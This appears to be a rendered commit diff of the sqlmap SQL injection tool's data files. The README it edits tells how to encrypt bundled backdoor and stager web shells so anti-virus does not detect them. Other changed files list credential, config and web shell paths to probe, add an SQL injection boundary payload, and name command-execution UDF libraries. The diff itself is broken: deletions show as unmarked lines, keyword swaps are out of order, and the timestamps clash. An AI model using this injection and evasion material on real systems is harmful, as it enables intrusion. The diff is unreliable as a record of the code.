Fixes #4363

Somebody was fooling around (Issue #4357 )
Better alternative
2025-12-07 05:01:30 +00:00 · 2020-10-05 11:35:49 +02:00 · 2020-09-28 13:12:59 +02:00 · 2020-09-24 14:57:45 +02:00 · 2020-09-24 14:55:13 +02:00 · 2020-09-24 14:54:59 +02:00
128 changed files with 6309 additions and 1210 deletions
--- a/.travis.yml
+++ b/.travis.yml
@@ -11,7 +11,6 @@ jobs:
          dist: trusty
        - python: 3.9-dev
          dist: bionic
 sudo: false
 git:
    depth: 1
 script:
--- a/data/html/index.html
+++ b/data/html/index.html
@@ -4,6 +4,7 @@
 <html lang="en">
 <head>
    <title>DEMO</title>
    <meta charset="utf-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1">
@@ -74,7 +75,7 @@
      <div class="sidebar-nav navbar-collapse">
        <ul class="nav" id="side-menu">
          <li>
-            <a href="#"><i class="glyphicon glyphicon-home"></i> Options<span class="arrow"></span></a>
+            <a href="#"><em class="glyphicon glyphicon-home"></em> Options<span class="arrow"></span></a>
            <ul class="nav nav-second-level">
              <li><a>Target</a></li>
              <li><a>Request</a></li>
--- a/data/shell/README.txt
+++ b/data/shell/README.txt
@@ -1,7 +1,7 @@
-Due to the anti-virus positive detection of shell scripts stored inside this folder, we needed to somehow circumvent this. As from the plain sqlmap users perspective nothing has to be done prior to their usage by sqlmap, but if you want to have access to their original source code use the decrypt functionality of the ../extra/cloak/cloak.py utility.
+Due to the anti-virus positive detection of shell scripts stored inside this folder, we needed to somehow circumvent this. As from the plain sqlmap users perspective nothing has to be done prior to their usage by sqlmap, but if you want to have access to their original source code use the decrypt functionality of the ../../extra/cloak/cloak.py utility.
 To prepare the original scripts to the cloaked form use this command:
-find backdoors/backdoor.* stagers/stager.* -type f -exec python ../extra/cloak/cloak.py -i '{}' \;
+find backdoors/backdoor.* stagers/stager.* -type f -exec python ../../extra/cloak/cloak.py -i '{}' \;
 To get back them into the original form use this:
-find backdoors/backdoor.*_ stagers/stager.*_ -type f -exec python ../extra/cloak/cloak.py -d -i '{}' \;
+find backdoors/backdoor.*_ stagers/stager.*_ -type f -exec python ../../extra/cloak/cloak.py -d -i '{}' \;
--- a/data/shell/backdoors/backdoor.asp_
+++ b/data/shell/backdoors/backdoor.asp_
--- a/data/shell/backdoors/backdoor.aspx_
+++ b/data/shell/backdoors/backdoor.aspx_
--- a/data/shell/backdoors/backdoor.jsp_
+++ b/data/shell/backdoors/backdoor.jsp_
--- a/data/shell/backdoors/backdoor.php_
+++ b/data/shell/backdoors/backdoor.php_
--- a/data/shell/stagers/stager.asp_
+++ b/data/shell/stagers/stager.asp_
--- a/data/shell/stagers/stager.aspx_
+++ b/data/shell/stagers/stager.aspx_
--- a/data/shell/stagers/stager.jsp_
+++ b/data/shell/stagers/stager.jsp_
--- a/data/shell/stagers/stager.php_
+++ b/data/shell/stagers/stager.php_
--- a/data/txt/common-files.txt
+++ b/data/txt/common-files.txt
@@ -679,17 +679,6 @@
 /.htaccess
 /.htpasswd
 /[jboss]/server/default/conf/jboss-minimal.xml
 /[jboss]/server/default/conf/jboss-service.xml
 /[jboss]/server/default/conf/jndi.properties
 /[jboss]/server/default/conf/log4j.xml
 /[jboss]/server/default/conf/login-config.xml
 /[jboss]/server/default/conf/server.log.properties
 /[jboss]/server/default/conf/standardjaws.xml
 /[jboss]/server/default/conf/standardjboss.xml
 /[jboss]/server/default/deploy/jboss-logging.xml
 /[jboss]/server/default/log/boot.log
 /[jboss]/server/default/log/server.log
 /access.log
 /access_log
 /apache/conf/httpd.conf
@@ -1024,17 +1013,17 @@
 /mysql/my.cnf
 /mysql/my.ini
 /netserver/bin/stable/apache/php.ini
-/opt/[jboss]/server/default/conf/jboss-minimal.xml
+/opt/jboss/server/default/conf/jboss-minimal.xml
-/opt/[jboss]/server/default/conf/jboss-service.xml
+/opt/jboss/server/default/conf/jboss-service.xml
-/opt/[jboss]/server/default/conf/jndi.properties
+/opt/jboss/server/default/conf/jndi.properties
-/opt/[jboss]/server/default/conf/log4j.xml
+/opt/jboss/server/default/conf/log4j.xml
-/opt/[jboss]/server/default/conf/login-config.xml
+/opt/jboss/server/default/conf/login-config.xml
-/opt/[jboss]/server/default/conf/server.log.properties
+/opt/jboss/server/default/conf/server.log.properties
-/opt/[jboss]/server/default/conf/standardjaws.xml
+/opt/jboss/server/default/conf/standardjaws.xml
-/opt/[jboss]/server/default/conf/standardjboss.xml
+/opt/jboss/server/default/conf/standardjboss.xml
-/opt/[jboss]/server/default/deploy/jboss-logging.xml
+/opt/jboss/server/default/deploy/jboss-logging.xml
-/opt/[jboss]/server/default/log/boot.log
+/opt/jboss/server/default/log/boot.log
-/opt/[jboss]/server/default/log/server.log
+/opt/jboss/server/default/log/server.log
 /opt/apache/apache.conf
 /opt/apache/apache2.conf
 /opt/apache/conf/apache.conf
@@ -1075,17 +1064,6 @@
 /private/etc/httpd/httpd.conf
 /private/etc/httpd/httpd.conf.default
 /private/etc/squirrelmail/config/config.php
 /private/tmp/[jboss]/server/default/conf/jboss-minimal.xml
 /private/tmp/[jboss]/server/default/conf/jboss-service.xml
 /private/tmp/[jboss]/server/default/conf/jndi.properties
 /private/tmp/[jboss]/server/default/conf/log4j.xml
 /private/tmp/[jboss]/server/default/conf/login-config.xml
 /private/tmp/[jboss]/server/default/conf/server.log.properties
 /private/tmp/[jboss]/server/default/conf/standardjaws.xml
 /private/tmp/[jboss]/server/default/conf/standardjboss.xml
 /private/tmp/[jboss]/server/default/deploy/jboss-logging.xml
 /private/tmp/[jboss]/server/default/log/boot.log
 /private/tmp/[jboss]/server/default/log/server.log
 /proc/cpuinfo
 /proc/devices
 /proc/meminfo
@@ -1114,17 +1092,17 @@
 /proc/self/stat
 /proc/self/status
 /proc/version
-/program files/[jboss]/server/default/conf/jboss-minimal.xml
+/program files/jboss/server/default/conf/jboss-minimal.xml
-/program files/[jboss]/server/default/conf/jboss-service.xml
+/program files/jboss/server/default/conf/jboss-service.xml
-/program files/[jboss]/server/default/conf/jndi.properties
+/program files/jboss/server/default/conf/jndi.properties
-/program files/[jboss]/server/default/conf/log4j.xml
+/program files/jboss/server/default/conf/log4j.xml
-/program files/[jboss]/server/default/conf/login-config.xml
+/program files/jboss/server/default/conf/login-config.xml
-/program files/[jboss]/server/default/conf/server.log.properties
+/program files/jboss/server/default/conf/server.log.properties
-/program files/[jboss]/server/default/conf/standardjaws.xml
+/program files/jboss/server/default/conf/standardjaws.xml
-/program files/[jboss]/server/default/conf/standardjboss.xml
+/program files/jboss/server/default/conf/standardjboss.xml
-/program files/[jboss]/server/default/deploy/jboss-logging.xml
+/program files/jboss/server/default/deploy/jboss-logging.xml
-/program files/[jboss]/server/default/log/boot.log
+/program files/jboss/server/default/log/boot.log
-/program files/[jboss]/server/default/log/server.log
+/program files/jboss/server/default/log/server.log
 /program files/apache group/apache/apache.conf
 /program files/apache group/apache/apache2.conf
 /program files/apache group/apache/conf/apache.conf
@@ -1177,17 +1155,17 @@
 /system/library/webobjects/adaptors/apache2.2/apache.conf
 /temp/sess_
 /thttpd_log
-/tmp/[jboss]/server/default/conf/jboss-minimal.xml
+/tmp/jboss/server/default/conf/jboss-minimal.xml
-/tmp/[jboss]/server/default/conf/jboss-service.xml
+/tmp/jboss/server/default/conf/jboss-service.xml
-/tmp/[jboss]/server/default/conf/jndi.properties
+/tmp/jboss/server/default/conf/jndi.properties
-/tmp/[jboss]/server/default/conf/log4j.xml
+/tmp/jboss/server/default/conf/log4j.xml
-/tmp/[jboss]/server/default/conf/login-config.xml
+/tmp/jboss/server/default/conf/login-config.xml
-/tmp/[jboss]/server/default/conf/server.log.properties
+/tmp/jboss/server/default/conf/server.log.properties
-/tmp/[jboss]/server/default/conf/standardjaws.xml
+/tmp/jboss/server/default/conf/standardjaws.xml
-/tmp/[jboss]/server/default/conf/standardjboss.xml
+/tmp/jboss/server/default/conf/standardjboss.xml
-/tmp/[jboss]/server/default/deploy/jboss-logging.xml
+/tmp/jboss/server/default/deploy/jboss-logging.xml
-/tmp/[jboss]/server/default/log/boot.log
+/tmp/jboss/server/default/log/boot.log
-/tmp/[jboss]/server/default/log/server.log
+/tmp/jboss/server/default/log/server.log
 /tmp/access.log
 /tmp/sess_
 /usr/apache/conf/httpd.conf
@@ -1202,17 +1180,17 @@
 /usr/lib/php.ini
 /usr/lib/php/php.ini
 /usr/lib/security/mkuser.default
-/usr/local/[jboss]/server/default/conf/jboss-minimal.xml
+/usr/local/jboss/server/default/conf/jboss-minimal.xml
-/usr/local/[jboss]/server/default/conf/jboss-service.xml
+/usr/local/jboss/server/default/conf/jboss-service.xml
-/usr/local/[jboss]/server/default/conf/jndi.properties
+/usr/local/jboss/server/default/conf/jndi.properties
-/usr/local/[jboss]/server/default/conf/log4j.xml
+/usr/local/jboss/server/default/conf/log4j.xml
-/usr/local/[jboss]/server/default/conf/login-config.xml
+/usr/local/jboss/server/default/conf/login-config.xml
-/usr/local/[jboss]/server/default/conf/server.log.properties
+/usr/local/jboss/server/default/conf/server.log.properties
-/usr/local/[jboss]/server/default/conf/standardjaws.xml
+/usr/local/jboss/server/default/conf/standardjaws.xml
-/usr/local/[jboss]/server/default/conf/standardjboss.xml
+/usr/local/jboss/server/default/conf/standardjboss.xml
-/usr/local/[jboss]/server/default/deploy/jboss-logging.xml
+/usr/local/jboss/server/default/deploy/jboss-logging.xml
-/usr/local/[jboss]/server/default/log/boot.log
+/usr/local/jboss/server/default/log/boot.log
-/usr/local/[jboss]/server/default/log/server.log
+/usr/local/jboss/server/default/log/server.log
 /usr/local/apache/apache.conf
 /usr/local/apache/apache2.conf
 /usr/local/apache/conf/access.conf
@@ -1802,3 +1780,20 @@
 /usr/share/squirrelmail/config/config.php
 /private/etc/squirrelmail/config/config.php
 /srv/www/htdos/squirrelmail/config/config.php
 # Web shells
 /var/www/html/backdoor.php
 /var/www/html/b374k.php
 /var/www/html/c99.php
 /var/www/html/cmd.php
 /var/www/html/r57.php
 /var/www/html/shell.php
 /var/www/html/wso.php
 # Misc
 /etc/lib/nfs/etab
 /app/app.js
 /app/configure.js
 /app/config/config.json
--- a/data/txt/keywords.txt
+++ b/data/txt/keywords.txt
@@ -452,26 +452,13 @@ WRITEXOR
 YEAR_MONTH
 ZEROFILL
-# PostgreSQL keywords (reference: https://www.postgresql.org/docs/9.3/sql-keywords-appendix.html)
+# PostgreSQL|SQL:2016|SQL:2011 reserved words (reference: https://www.postgresql.org/docs/current/sql-keywords-appendix.html)
 A
 ABORT
 ABS
-ABSENT
+ACOS
 ABSOLUTE
 ACCESS
 ACCORDING
 ACTION
 ADA
 ADD
 ADMIN
 AFTER
 AGGREGATE
 ALL
 ALLOCATE
 ALSO
 ALTER
 ALWAYS
 ANALYSE
 ANALYZE
 AND
@@ -483,110 +470,61 @@ ARRAY_MAX_CARDINALITY
 AS
 ASC
 ASENSITIVE
-ASSERTION
+ASIN
 ASSIGNMENT
 ASYMMETRIC
 AT
 ATAN
 ATOMIC
 ATTRIBUTE
 ATTRIBUTES
 AUTHORIZATION
 AVG
 BACKWARD
 BASE64
 BEFORE
 BEGIN
 BEGIN_FRAME
 BEGIN_PARTITION
 BERNOULLI
 BETWEEN
 BIGINT
 BINARY
 BIT
 BIT_LENGTH
 BLOB
 BLOCKED
 BOM
 BOOLEAN
 BOTH
 BREADTH
 BY
 C
 CACHE
 CALL
 CALLED
 CARDINALITY
 CASCADE
 CASCADED
 CASE
 CAST
 CATALOG
 CATALOG_NAME
 CEIL
 CEILING
 CHAIN
 CHAR
 CHARACTER
 CHARACTERISTICS
 CHARACTERS
 CHARACTER_LENGTH
 CHARACTER_SET_CATALOG
 CHARACTER_SET_NAME
 CHARACTER_SET_SCHEMA
 CHAR_LENGTH
 CHECK
-CHECKPOINT
+CLASSIFIER
 CLASS
 CLASS_ORIGIN
 CLOB
 CLOSE
 CLUSTER
 COALESCE
 COBOL
 COLLATE
 COLLATION
 COLLATION_CATALOG
 COLLATION_NAME
 COLLATION_SCHEMA
 COLLECT
 COLUMN
 COLUMNS
 COLUMN_NAME
 COMMAND_FUNCTION
 COMMAND_FUNCTION_CODE
 COMMENT
 COMMENTS
 COMMIT
 COMMITTED
 CONCURRENTLY
 CONDITION
 CONDITION_NUMBER
 CONFIGURATION
 CONNECT
 CONNECTION
 CONNECTION_NAME
 CONSTRAINT
 CONSTRAINTS
 CONSTRAINT_CATALOG
 CONSTRAINT_NAME
 CONSTRAINT_SCHEMA
 CONSTRUCTOR
 CONTAINS
 CONTENT
 CONTINUE
 CONTROL
 CONVERSION
 CONVERT
 COPY
 CORR
 CORRESPONDING
-COST
+COS
 COSH
 COUNT
 COVAR_POP
 COVAR_SAMP
 CREATE
 CROSS
 CSV
 CUBE
 CUME_DIST
 CURRENT
@@ -602,44 +540,25 @@ CURRENT_TIMESTAMP
 CURRENT_TRANSFORM_GROUP_FOR_TYPE
 CURRENT_USER
 CURSOR
 CURSOR_NAME
 CYCLE
 DATA
 DATABASE
 DATALINK
 DATE
 DATETIME_INTERVAL_CODE
 DATETIME_INTERVAL_PRECISION
 DAY
 DB
 DEALLOCATE
 DEC
 DECFLOAT
 DECIMAL
 DECLARE
 DEFAULT
 DEFAULTS
 DEFERRABLE
-DEFERRED
+DEFINE
 DEFINED
 DEFINER
 DEGREE
 DELETE
 DELIMITER
 DELIMITERS
 DENSE_RANK
 DEPTH
 DEREF
 DERIVED
 DESC
 DESCRIBE
 DESCRIPTOR
 DETERMINISTIC
 DIAGNOSTICS
 DICTIONARY
 DISABLE
 DISCARD
 DISCONNECT
 DISPATCH
 DISTINCT
 DLNEWCOPY
 DLPREVIOUSCOPY
@@ -653,313 +572,176 @@ DLURLSCHEME
 DLURLSERVER
 DLVALUE
 DO
 DOCUMENT
 DOMAIN
 DOUBLE
 DROP
 DYNAMIC
 DYNAMIC_FUNCTION
 DYNAMIC_FUNCTION_CODE
 EACH
 ELEMENT
 ELSE
 EMPTY
 ENABLE
 ENCODING
 ENCRYPTED
 END
 END-EXEC
 END_FRAME
 END_PARTITION
 ENFORCED
 ENUM
 EQUALS
 ESCAPE
 EVENT
 EVERY
 EXCEPT
 EXCEPTION
 EXCLUDE
 EXCLUDING
 EXCLUSIVE
 EXEC
 EXECUTE
 EXISTS
 EXP
 EXPLAIN
 EXPRESSION
 EXTENSION
 EXTERNAL
 EXTRACT
 FALSE
 FAMILY
 FETCH
 FILE
 FILTER
 FINAL
 FIRST
 FIRST_VALUE
 FLAG
 FLOAT
 FLOOR
 FOLLOWING
 FOR
 FORCE
 FOREIGN
 FORTRAN
 FORWARD
 FOUND
 FRAME_ROW
 FREE
 FREEZE
 FROM
 FS
 FULL
 FUNCTION
 FUNCTIONS
 FUSION
 G
 GENERAL
 GENERATED
 GET
 GLOBAL
 GO
 GOTO
 GRANT
 GRANTED
 GREATEST
 GROUP
 GROUPING
 GROUPS
 HANDLER
 HAVING
 HEADER
 HEX
 HIERARCHY
 HOLD
 HOUR
 ID
 IDENTITY
 IF
 IGNORE
 ILIKE
 IMMEDIATE
 IMMEDIATELY
 IMMUTABLE
 IMPLEMENTATION
 IMPLICIT
 IMPORT
 IN
 INCLUDING
 INCREMENT
 INDENT
 INDEX
 INDEXES
 INDICATOR
-INHERIT
+INITIAL
 INHERITS
 INITIALLY
 INLINE
 INNER
 INOUT
 INPUT
 INSENSITIVE
 INSERT
 INSTANCE
 INSTANTIABLE
 INSTEAD
 INT
 INTEGER
 INTEGRITY
 INTERSECT
 INTERSECTION
 INTERVAL
 INTO
 INVOKER
 IS
 ISNULL
 ISOLATION
 JOIN
-K
+JSON_ARRAY
-KEY
+JSON_ARRAYAGG
-KEY_MEMBER
+JSON_EXISTS
-KEY_TYPE
+JSON_OBJECT
-LABEL
+JSON_OBJECTAGG
 JSON_QUERY
 JSON_TABLE
 JSON_TABLE_PRIMITIVE
 JSON_VALUE
 LAG
 LANGUAGE
 LARGE
 LAST
 LAST_VALUE
 LATERAL
 LC_COLLATE
 LC_CTYPE
 LEAD
 LEADING
 LEAKPROOF
 LEAST
 LEFT
 LENGTH
 LEVEL
 LIBRARY
 LIKE
 LIKE_REGEX
 LIMIT
-LINK
+LISTAGG
 LISTEN
 LN
 LOAD
 LOCAL
 LOCALTIME
 LOCALTIMESTAMP
-LOCATION
+LOG
-LOCATOR
+LOG10
 LOCK
 LOWER
 M
 MAP
 MAPPING
 MATCH
-MATCHED
+MATCHES
-MATERIALIZED
+MATCH_NUMBER
 MATCH_RECOGNIZE
 MAX
-MAXVALUE
+MEASURES
 MAX_CARDINALITY
 MEMBER
 MERGE
 MESSAGE_LENGTH
 MESSAGE_OCTET_LENGTH
 MESSAGE_TEXT
 METHOD
 MIN
 MINUTE
 MINVALUE
 MOD
 MODE
 MODIFIES
 MODULE
 MONTH
 MORE
 MOVE
 MULTISET
 MUMPS
 NAME
 NAMES
 NAMESPACE
 NATIONAL
 NATURAL
 NCHAR
 NCLOB
 NESTING
 NEW
 NEXT
 NFC
 NFD
 NFKC
 NFKD
 NIL
 NO
 NONE
 NORMALIZE
 NORMALIZED
 NOT
 NOTHING
 NOTIFY
 NOTNULL
 NOWAIT
 NTH_VALUE
 NTILE
 NULL
 NULLABLE
 NULLIF
 NULLS
 NUMBER
 NUMERIC
 OBJECT
 OCCURRENCES_REGEX
 OCTETS
 OCTET_LENGTH
 OF
 OFF
 OFFSET
 OIDS
 OLD
 OMIT
 ON
 ONE
 ONLY
 OPEN
 OPERATOR
 OPTION
 OPTIONS
 OR
 ORDER
 ORDERING
 ORDINALITY
 OTHERS
 OUT
 OUTER
 OUTPUT
 OVER
 OVERLAPS
 OVERLAY
 OVERRIDING
 OWNED
 OWNER
 P
 PAD
 PARAMETER
 PARAMETER_MODE
 PARAMETER_NAME
 PARAMETER_ORDINAL_POSITION
 PARAMETER_SPECIFIC_CATALOG
 PARAMETER_SPECIFIC_NAME
 PARAMETER_SPECIFIC_SCHEMA
 PARSER
 PARTIAL
 PARTITION
-PASCAL
+PATTERN
-PASSING
+PER
 PASSTHROUGH
 PASSWORD
 PATH
 PERCENT
 PERCENTILE_CONT
 PERCENTILE_DISC
 PERCENT_RANK
 PERIOD
-PERMISSION
+PERMUTE
 PLACING
 PLANS
 PLI
 PORTION
 POSITION
 POSITION_REGEX
 POWER
 PRECEDES
 PRECEDING
 PRECISION
 PREPARE
 PREPARED
 PRESERVE
 PRIMARY
 PRIOR
 PRIVILEGES
 PROCEDURAL
 PROCEDURE
-PROGRAM
+PTF
 PUBLIC
 QUOTE
 RANGE
 RANK
 READ
 READS
 REAL
 REASSIGN
 RECHECK
 RECOVERY
 RECURSIVE
 REF
 REFERENCES
 REFERENCING
 REFRESH
 REGR_AVGX
 REGR_AVGY
 REGR_COUNT
@@ -969,185 +751,87 @@ REGR_SLOPE
 REGR_SXX
 REGR_SXY
 REGR_SYY
 REINDEX
 RELATIVE
 RELEASE
 RENAME
 REPEATABLE
 REPLACE
 REPLICA
 REQUIRING
 RESET
 RESPECT
 RESTART
 RESTORE
 RESTRICT
 RESULT
 RETURN
 RETURNED_CARDINALITY
 RETURNED_LENGTH
 RETURNED_OCTET_LENGTH
 RETURNED_SQLSTATE
 RETURNING
 RETURNS
 REVOKE
 RIGHT
 ROLE
 ROLLBACK
 ROLLUP
 ROUTINE
 ROUTINE_CATALOG
 ROUTINE_NAME
 ROUTINE_SCHEMA
 ROW
 ROWS
 ROW_COUNT
 ROW_NUMBER
-RULE
+RUNNING
 SAVEPOINT
 SCALE
 SCHEMA
 SCHEMA_NAME
 SCOPE
 SCOPE_CATALOG
 SCOPE_NAME
 SCOPE_SCHEMA
 SCROLL
 SEARCH
 SECOND
-SECTION
+SEEK
 SECURITY
 SELECT
 SELECTIVE
 SELF
 SENSITIVE
 SEQUENCE
 SEQUENCES
 SERIALIZABLE
 SERVER
 SERVER_NAME
 SESSION
 SESSION_USER
 SET
 SETOF
 SETS
 SHARE
 SHOW
 SIMILAR
-SIMPLE
+SIN
-SIZE
+SINH
 SKIP
 SMALLINT
 SNAPSHOT
 SOME
 SOURCE
 SPACE
 SPECIFIC
 SPECIFICTYPE
 SPECIFIC_NAME
 SQL
 SQLCODE
 SQLERROR
 SQLEXCEPTION
 SQLSTATE
 SQLWARNING
 SQRT
 STABLE
 STANDALONE
 START
 STATE
 STATEMENT
 STATIC
 STATISTICS
 STDDEV_POP
 STDDEV_SAMP
 STDIN
 STDOUT
 STORAGE
 STRICT
 STRIP
 STRUCTURE
 STYLE
 SUBCLASS_ORIGIN
 SUBMULTISET
 SUBSET
 SUBSTRING
 SUBSTRING_REGEX
 SUCCEEDS
 SUM
 SYMMETRIC
 SYSID
 SYSTEM
 SYSTEM_TIME
 SYSTEM_USER
 T
 TABLE
 TABLES
 TABLESAMPLE
-TABLESPACE
+TAN
-TABLE_NAME
+TANH
 TEMP
 TEMPLATE
 TEMPORARY
 TEXT
 THEN
 TIES
 TIME
 TIMESTAMP
 TIMEZONE_HOUR
 TIMEZONE_MINUTE
 TO
 TOKEN
 TOP_LEVEL_COUNT
 TRAILING
 TRANSACTION
 TRANSACTIONS_COMMITTED
 TRANSACTIONS_ROLLED_BACK
 TRANSACTION_ACTIVE
 TRANSFORM
 TRANSFORMS
 TRANSLATE
 TRANSLATE_REGEX
 TRANSLATION
 TREAT
 TRIGGER
 TRIGGER_CATALOG
 TRIGGER_NAME
 TRIGGER_SCHEMA
 TRIM
 TRIM_ARRAY
 TRUE
 TRUNCATE
 TRUSTED
 TYPE
 TYPES
 UESCAPE
 UNBOUNDED
 UNCOMMITTED
 UNDER
 UNENCRYPTED
 UNION
 UNIQUE
 UNKNOWN
-UNLINK
+UNMATCHED
 UNLISTEN
 UNLOGGED
 UNNAMED
 UNNEST
 UNTIL
 UNTYPED
 UPDATE
 UPPER
 URI
 USAGE
 USER
 USER_DEFINED_TYPE_CATALOG
 USER_DEFINED_TYPE_CODE
 USER_DEFINED_TYPE_NAME
 USER_DEFINED_TYPE_SCHEMA
 USING
 VACUUM
 VALID
 VALIDATE
 VALIDATOR
 VALUE
 VALUES
 VALUE_OF
@@ -1158,22 +842,15 @@ VARYING
 VAR_POP
 VAR_SAMP
 VERBOSE
 VERSION
 VERSIONING
 VIEW
 VOLATILE
 WHEN
 WHENEVER
 WHERE
 WHITESPACE
 WIDTH_BUCKET
 WINDOW
 WITH
 WITHIN
 WITHOUT
 WORK
 WRAPPER
 WRITE
 XML
 XMLAGG
 XMLATTRIBUTES
@@ -1181,7 +858,6 @@ XMLBINARY
 XMLCAST
 XMLCOMMENT
 XMLCONCAT
 XMLDECLARATION
 XMLDOCUMENT
 XMLELEMENT
 XMLEXISTS
@@ -1191,12 +867,8 @@ XMLNAMESPACES
 XMLPARSE
 XMLPI
 XMLQUERY
 XMLROOT
 XMLSCHEMA
 XMLSERIALIZE
 XMLTABLE
 XMLTEXT
 XMLVALIDATE
 YEAR
 YES
 ZONE
--- a/data/txt/smalldict.txt
+++ b/data/txt/smalldict.txt
--- a/data/txt/wordlist.tx_
+++ b/data/txt/wordlist.tx_
--- a/data/udf/mysql/linux/32/lib_mysqludf_sys.so_
+++ b/data/udf/mysql/linux/32/lib_mysqludf_sys.so_
--- a/data/udf/mysql/linux/64/lib_mysqludf_sys.so_
+++ b/data/udf/mysql/linux/64/lib_mysqludf_sys.so_
--- a/data/udf/mysql/windows/32/lib_mysqludf_sys.dll_
+++ b/data/udf/mysql/windows/32/lib_mysqludf_sys.dll_
--- a/data/udf/mysql/windows/64/lib_mysqludf_sys.dll_
+++ b/data/udf/mysql/windows/64/lib_mysqludf_sys.dll_
--- a/data/udf/postgresql/linux/32/10/lib_postgresqludf_sys.so_
+++ b/data/udf/postgresql/linux/32/10/lib_postgresqludf_sys.so_
--- a/data/udf/postgresql/linux/32/11/lib_postgresqludf_sys.so_
+++ b/data/udf/postgresql/linux/32/11/lib_postgresqludf_sys.so_
--- a/data/udf/postgresql/linux/32/8.2/lib_postgresqludf_sys.so_
+++ b/data/udf/postgresql/linux/32/8.2/lib_postgresqludf_sys.so_
--- a/data/udf/postgresql/linux/32/8.3/lib_postgresqludf_sys.so_
+++ b/data/udf/postgresql/linux/32/8.3/lib_postgresqludf_sys.so_
--- a/data/udf/postgresql/linux/32/8.4/lib_postgresqludf_sys.so_
+++ b/data/udf/postgresql/linux/32/8.4/lib_postgresqludf_sys.so_
--- a/data/udf/postgresql/linux/32/9.0/lib_postgresqludf_sys.so_
+++ b/data/udf/postgresql/linux/32/9.0/lib_postgresqludf_sys.so_
--- a/data/udf/postgresql/linux/32/9.1/lib_postgresqludf_sys.so_
+++ b/data/udf/postgresql/linux/32/9.1/lib_postgresqludf_sys.so_
--- a/data/udf/postgresql/linux/32/9.2/lib_postgresqludf_sys.so_
+++ b/data/udf/postgresql/linux/32/9.2/lib_postgresqludf_sys.so_
--- a/data/udf/postgresql/linux/32/9.3/lib_postgresqludf_sys.so_
+++ b/data/udf/postgresql/linux/32/9.3/lib_postgresqludf_sys.so_
--- a/data/udf/postgresql/linux/32/9.4/lib_postgresqludf_sys.so_
+++ b/data/udf/postgresql/linux/32/9.4/lib_postgresqludf_sys.so_
--- a/data/udf/postgresql/linux/32/9.5/lib_postgresqludf_sys.so_
+++ b/data/udf/postgresql/linux/32/9.5/lib_postgresqludf_sys.so_
--- a/data/udf/postgresql/linux/32/9.6/lib_postgresqludf_sys.so_
+++ b/data/udf/postgresql/linux/32/9.6/lib_postgresqludf_sys.so_
--- a/data/udf/postgresql/linux/64/10/lib_postgresqludf_sys.so_
+++ b/data/udf/postgresql/linux/64/10/lib_postgresqludf_sys.so_
--- a/data/udf/postgresql/linux/64/11/lib_postgresqludf_sys.so_
+++ b/data/udf/postgresql/linux/64/11/lib_postgresqludf_sys.so_
--- a/data/udf/postgresql/linux/64/8.2/lib_postgresqludf_sys.so_
+++ b/data/udf/postgresql/linux/64/8.2/lib_postgresqludf_sys.so_
--- a/data/udf/postgresql/linux/64/8.3/lib_postgresqludf_sys.so_
+++ b/data/udf/postgresql/linux/64/8.3/lib_postgresqludf_sys.so_
--- a/data/udf/postgresql/linux/64/8.4/lib_postgresqludf_sys.so_
+++ b/data/udf/postgresql/linux/64/8.4/lib_postgresqludf_sys.so_
--- a/data/udf/postgresql/linux/64/9.0/lib_postgresqludf_sys.so_
+++ b/data/udf/postgresql/linux/64/9.0/lib_postgresqludf_sys.so_
--- a/data/udf/postgresql/linux/64/9.1/lib_postgresqludf_sys.so_
+++ b/data/udf/postgresql/linux/64/9.1/lib_postgresqludf_sys.so_
--- a/data/udf/postgresql/linux/64/9.2/lib_postgresqludf_sys.so_
+++ b/data/udf/postgresql/linux/64/9.2/lib_postgresqludf_sys.so_
--- a/data/udf/postgresql/linux/64/9.3/lib_postgresqludf_sys.so_
+++ b/data/udf/postgresql/linux/64/9.3/lib_postgresqludf_sys.so_
--- a/data/udf/postgresql/linux/64/9.4/lib_postgresqludf_sys.so_
+++ b/data/udf/postgresql/linux/64/9.4/lib_postgresqludf_sys.so_
--- a/data/udf/postgresql/linux/64/9.5/lib_postgresqludf_sys.so_
+++ b/data/udf/postgresql/linux/64/9.5/lib_postgresqludf_sys.so_
--- a/data/udf/postgresql/linux/64/9.6/lib_postgresqludf_sys.so_
+++ b/data/udf/postgresql/linux/64/9.6/lib_postgresqludf_sys.so_
--- a/data/udf/postgresql/windows/32/8.2/lib_postgresqludf_sys.dll_
+++ b/data/udf/postgresql/windows/32/8.2/lib_postgresqludf_sys.dll_
--- a/data/udf/postgresql/windows/32/8.3/lib_postgresqludf_sys.dll_
+++ b/data/udf/postgresql/windows/32/8.3/lib_postgresqludf_sys.dll_
--- a/data/udf/postgresql/windows/32/8.4/lib_postgresqludf_sys.dll_
+++ b/data/udf/postgresql/windows/32/8.4/lib_postgresqludf_sys.dll_
--- a/data/udf/postgresql/windows/32/9.0/lib_postgresqludf_sys.dll_
+++ b/data/udf/postgresql/windows/32/9.0/lib_postgresqludf_sys.dll_
--- a/data/xml/boundaries.xml
+++ b/data/xml/boundaries.xml
@@ -213,6 +213,15 @@ Formats:
        <suffix> AND ((('[RANDSTR]' LIKE '[RANDSTR]</suffix>
    </boundary>
    <boundary>
        <level>2</level>
        <clause>1</clause>
        <where>1,2</where>
        <ptype>3</ptype>
        <prefix>%'</prefix>
        <suffix> AND '[RANDSTR]%'='[RANDSTR]</suffix>
    </boundary>
    <boundary>
        <level>2</level>
        <clause>1</clause>
--- a/data/xml/errors.xml
+++ b/data/xml/errors.xml
@@ -83,7 +83,7 @@
        <error regexp="CLI Driver.*?DB2"/>
        <error regexp="DB2 SQL error"/>
        <error regexp="\bdb2_\w+\("/>
-        <error regexp="SQLSTATE.+SQLCODE"/>
+        <error regexp="SQLCODE[=:\d, -]+SQLSTATE"/>
        <error regexp="com\.ibm\.db2\.jcc"/>
        <error regexp="Zend_Db_(Adapter|Statement)_Db2_Exception"/>
        <error regexp="Pdo[./_\\]Ibm"/>
--- a/data/xml/payloads/boolean_blind.xml
+++ b/data/xml/payloads/boolean_blind.xml
@@ -824,7 +824,6 @@ Tag: <test>
        <details>
            <dbms>Microsoft SQL Server</dbms>
            <dbms>Sybase</dbms>
            <os>Windows</os>
        </details>
    </test>
@@ -845,7 +844,6 @@ Tag: <test>
        <details>
            <dbms>Microsoft SQL Server</dbms>
            <dbms>Sybase</dbms>
            <os>Windows</os>
        </details>
    </test>
@@ -1193,7 +1191,6 @@ Tag: <test>
        <details>
            <dbms>Microsoft SQL Server</dbms>
            <dbms>Sybase</dbms>
            <os>Windows</os>
        </details>
    </test>
@@ -1214,7 +1211,6 @@ Tag: <test>
        <details>
            <dbms>Microsoft SQL Server</dbms>
